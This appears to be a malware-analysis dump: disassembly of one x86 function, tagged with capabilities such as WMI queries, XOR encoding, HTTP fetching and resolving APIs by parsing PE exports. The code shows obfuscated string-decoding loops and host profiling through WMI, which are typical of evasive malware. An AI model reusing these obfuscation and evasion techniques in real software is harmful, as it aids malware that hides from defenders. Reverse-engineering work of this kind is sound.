Function at 0x434360
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov eax, dword [0x44a4a8]
mov dword [esp + 0xc], 0xf1bb0feb
mov dword [esp + 0x10], 0xf567f36b
mov dword [esp + 0x14], 0xf951f760
mov dword [esp + 0x18], 0xfd3efb57
mov dword [esp + 0x1c], 0xe155ff6e
mov dword [esp + 0x20], 0xe545e376
mov dword [esp + 0x24], 0xe9e6e703
mov byte [esp + 0x28], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx + 0xc]
mov ebx, ecx
and ebx, 0x3a
mov esi, edx
xor esi, 0x7bdab7fd
add esi, ebx
xor esi, edi
neg esi
lea edi, [esi + esi]
and edi, 0xd68b2fe4
xor esi, 0x94ba680d
sub esi, edi
inc esi
mov ebx, esi
xor ebx, 0xfe
or esi, 1
and ebx, esi
add ebx, esi
mov byte [esp + edx + 0xc], bl
inc edx
add ecx, 2
cmp edx, 0x1d
jne 0x4343c0
lea ecx, [esp + 0x50]
lea esi, [esp + 0x8c]
lea ebx, [esp + 0xc]
push ecx
push 8
push esi
push 0xd
push ebx
push 0
call eax
test eax, eax
jns 0x43442f
mov dword [esp + 0x8c], 0x3a0043
mov dword [esp + 0x90], 0x5c
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x4c]
push eax
push 0x440670
push 1
push 0
push 0x440680
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov edi, dword [ebp + 8]
js 0x434a06
mov dword [esp + 0xc], 0x33853182
mov dword [esp + 0x10], 0x2f822d9b
mov dword [esp + 0x14], 0x2be9298c
mov dword [esp + 0x18], 0x2793259d
mov dword [esp + 0x1c], 0x23f0218e
mov dword [esp + 0x20], 0x1d1c
mov eax, 0x71f066cc
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x71f066c0]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 4
mov byte [esp + eax - 0x71f066c0], cl
inc eax
cmp eax, 0x71f066e4
jne 0x4344c0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, ebx
mov ebx, eax
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x90], ebx
push ebx
mov ebx, edi
push eax
call dword [ecx + 0xc]
test eax, eax
mov edi, dword [ebp + 8]
js 0x4349f2
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x64]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x4349e8
mov dword [esp + 0xc], 0x83538157
mov dword [esp + 0x10], 0x87868548
mov dword [esp + 0x14], 0
mov eax, 0x4d19ae0
nop
movzx ecx, byte [esp + eax - 0x4d19ad4]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
not edx
lea esi, [ecx + ecx]
and esi, 0x3e
and edx, 1
xor ecx, 0x60
sub ecx, esi
or ecx, 1
sub edx, ecx
mov byte [esp + eax - 0x4d19ad4], dl
inc eax
cmp eax, 0x4d19aec
jne 0x434560
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x60], eax
mov dword [esp + 0xc], 0xc387c1b3
mov dword [esp + 0x10], 0xc783c588
mov dword [esp + 0x14], 0xcbbec98b
mov dword [esp + 0x18], 0xcfe4cdec
mov dword [esp + 0x1c], 0xf3b4f1d0
mov dword [esp + 0x20], 0xf7b9f586
mov dword [esp + 0x24], 0xfbdaf9b5
mov dword [esp + 0x28], 0xff97fd8b
mov dword [esp + 0x2c], 0xe3b1e18e
mov dword [esp + 0x30], 0xe799e5b6
mov dword [esp + 0x34], 0xeba3e9aa
mov dword [esp + 0x38], 0xef9deda3
mov word [esp + 0x3c], 0x1110
mov dword [esp + 0x3e], 0
mov byte [esp + 0x42], 0
xor ecx, ecx
mov eax, ecx
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0xc]
lea edi, [ecx - 0xd0583b0]
xor edi, edx
mov esi, 0xd0583af
sub esi, ecx
or esi, edi
mov edi, esi
not edi
mov ebx, esi
and ebx, 2
and esi, 0xfffffffd
xor esi, 0xfd
imul esi, ebx
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
add edi, esi
not edi
lea ebx, [ecx + edi]
add ebx, 0xf2fa7c50
add bl, dl
add bl, 0x71
mov byte [esp + ecx + 0xc], bl
and eax, 1
not ecx
or ecx, 1
sub eax, ecx
mov ecx, eax
cmp eax, 0x37
jb 0x434620
lea ebx, [esp + 0xc]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x48]
mov ecx, dword [esi]
lea edx, [esp + 0x6c]
push edx
push 0
push 0x30
mov dword [esp + 0x7c], eax
push eax
push dword [esp + 0x70]
push esi
call dword [ecx + 0x50]
test eax, eax
mov edi, dword [ebp + 8]
js 0x4349cf
mov dword [esp + 0x64], 0
mov eax, dword [esp + 0x6c]
mov ecx, dword [eax]
lea edx, [esp + 0x64]
lea esi, [esp + 0x68]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4349c5
cmp eax, 1
je 0x4349c5
cmp dword [esp + 0x64], 0
je 0x4349c5
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x68]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x73df71a3
mov dword [esp + 0x10], 0x7fd77dce
mov dword [esp + 0x14], 0x7bce79d9
mov dword [esp + 0x18], 0x47fb4592
mov dword [esp + 0x1c], 0x43e041f5
mov dword [esp + 0x20], 0x4ffc4de1
mov word [esp + 0x24], 0x4948
mov dword [esp + 0x26], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx + 0xc]
mov ebx, ecx
and ebx, 0x28
mov edi, edx
xor edi, 0x769fff94
add edi, ebx
mov eax, edi
xor eax, esi
lea ebx, [eax + eax]
not ebx
add ebx, eax
and ebx, edi
add ebx, ebx
sub ebx, edi
mov eax, esi
not eax
and eax, ebx
not ebx
and ebx, esi
sub ebx, eax
add bl, 0x1c
mov byte [esp + edx + 0xc], bl
inc edx
add ecx, 2
cmp edx, 0x1e
jne 0x434750
mov ecx, dword [esp + 8]
mov eax, dword [ecx]
push 0
push 0
lea esi, [esp + 0x80]
push esi
push 0
lea ebx, [esp + 0x1c]
push ebx
push ecx
call dword [eax + 0x10]
test eax, eax
js 0x4349b1
cmp word [esp + 0x78], 8
jne 0x4349b1
mov esi, dword [esp + 0x80]
movzx edi, word [esi]
test di, di
je 0x434814
lea eax, [esi + 2]
mov dword [esp + 4], 0
mov ecx, edi
jmp 0x4347ef
inc dword [esp + 4]
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43481c
cmp cx, 0x7f
jbe 0x4347e0
movzx edx, cx
cmp edx, 0x7ff
ja 0x434807
add dword [esp + 4], 2
jmp 0x4347e4
cmp cx, 0xffff
je 0x4347e4
add dword [esp + 4], 3
jmp 0x4347e4
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
inc eax
push eax
call fcn.004086b0
add esp, 4
mov dword [esp + 0x44], eax
cmp dword [esp + 4], 0
je 0x434963
mov eax, dword [esp + 0x44]
test di, di
je 0x434963
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x44]
nop
nop
movzx edx, di
lea edi, [esi + 2]
mov dword [esp + 8], edi
cmp dx, 0x7f
ja 0x434870
lea edi, [eax + 1]
mov byte [eax], dl
jmp 0x434897
cmp edx, 0x7ff
ja 0x4348b6
cmp ecx, 2
jb 0x4348b6
mov ebx, edx
shr ebx, 6
add bl, 0xc0
mov byte [eax], bl
lea ebx, [esp + 0xc]
and dl, 0x3f
or dl, 0x80
lea edi, [eax + 2]
mov byte [eax + 1], dl
mov esi, dword [esp + 8]
add ecx, eax
sub ecx, edi
mov eax, edi
movzx edi, word [esi]
test di, di
je 0x434963
test ecx, ecx
jne 0x434850
jmp 0x434963
mov edi, edx
and edi, 0xfc00
cmp edi, 0xd800
jne 0x434916
cmp ecx, 4
jb 0x434916
movzx edi, word [esi + 2]
add esi, 4
shl edx, 0xa
lea ebx, [edx + edi]
add ebx, 0xfca02400
mov edx, ebx
shr edx, 0x12
add dl, 0xf0
mov byte [eax], dl
mov edx, ebx
shr edx, 0xc
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [eax + 2], bl
lea ebx, [esp + 0xc]
mov edx, edi
and dl, 0x3f
or dl, 0x80
lea edi, [eax + 4]
mov byte [eax + 3], dl
jmp 0x43489b
movzx esi, di
cmp esi, 0xdc00
jne 0x43492a
mov esi, dword [esp + 8]
jmp 0x4348a1
cmp ecx, 3
jb 0x43495c
mov ebx, edx
shr ebx, 0xc
or bl, 0xe0
mov byte [eax], bl
mov ebx, edx
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [eax + 1], bl
lea ebx, [esp + 0xc]
and dl, 0x3f
or dl, 0x80
lea edi, [eax + 3]
mov byte [eax + 2], dl
jmp 0x434897
mov edi, eax
jmp 0x434897
mov byte [eax], 0
mov eax, 3
sub eax, dword [esp + 4]
cmp eax, 0xfffffffd
jae 0x434979
mov eax, 0xfffffffc
add eax, dword [esp + 4]
shr eax, 2
cmp eax, 3
lea esi, [esp + 0x78]
jb 0x43498e
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov edi, dword [esp + 0x48]
push edi
lea eax, [esp + 0x58]
push eax
call fcn.004086e0
add esp, 0xc
push edi
call fcn.004086c0
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [ebp + 8]
mov eax, dword [esp + 0x6c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x60]
call esi
push dword [esp + 0x70]
call esi
lea esi, [esp + 0x8c]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x74]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0xc], 0
push 0x72a7c387
push dword [0x44a4a0]
call fcn.0043ca10
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call eax
test eax, eax
je 0x434bee
mov eax, dword [esp + 0xc]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + 0x50], eax
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041a500
add esp, 0x10
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434a80
test esi, esi
je 0x434a9e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408840
add esp, 0xc
xor eax, eax
cmp dword [esp + 0x54], 0
setne al
mov eax, dword [esp + eax*4 + 0x50]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
lea ecx, [edi + 8]
mov dword [esp + 0x54], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ecx
push eax
call fcn.0041a500
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434af0
test esi, esi
je 0x434b0e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408840
add esp, 0xc
xor eax, eax
cmp dword [esp + 0x58], 0
setne al
mov eax, dword [esp + eax*4 + 0x54]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
lea ecx, [edi + 0x10]
mov dword [esp + 0x58], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ecx
push eax
call fcn.0041a500
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434b60
test esi, esi
je 0x434b7e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408840
add esp, 0xc
add edi, 0x18
xor eax, eax
cmp dword [esp + 0x5c], 0
setne al
mov eax, dword [esp + eax*4 + 0x58]
mov ecx, eax
and ecx, 0x1a5845
mov edx, eax
or eax, 0x1a5845
imul eax, ecx
xor ecx, 0x1a5845
and edx, 0xffe5a7ba
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + 0x5c], eax
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041a500
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434bd0
test esi, esi
je 0x434bee
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408840
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret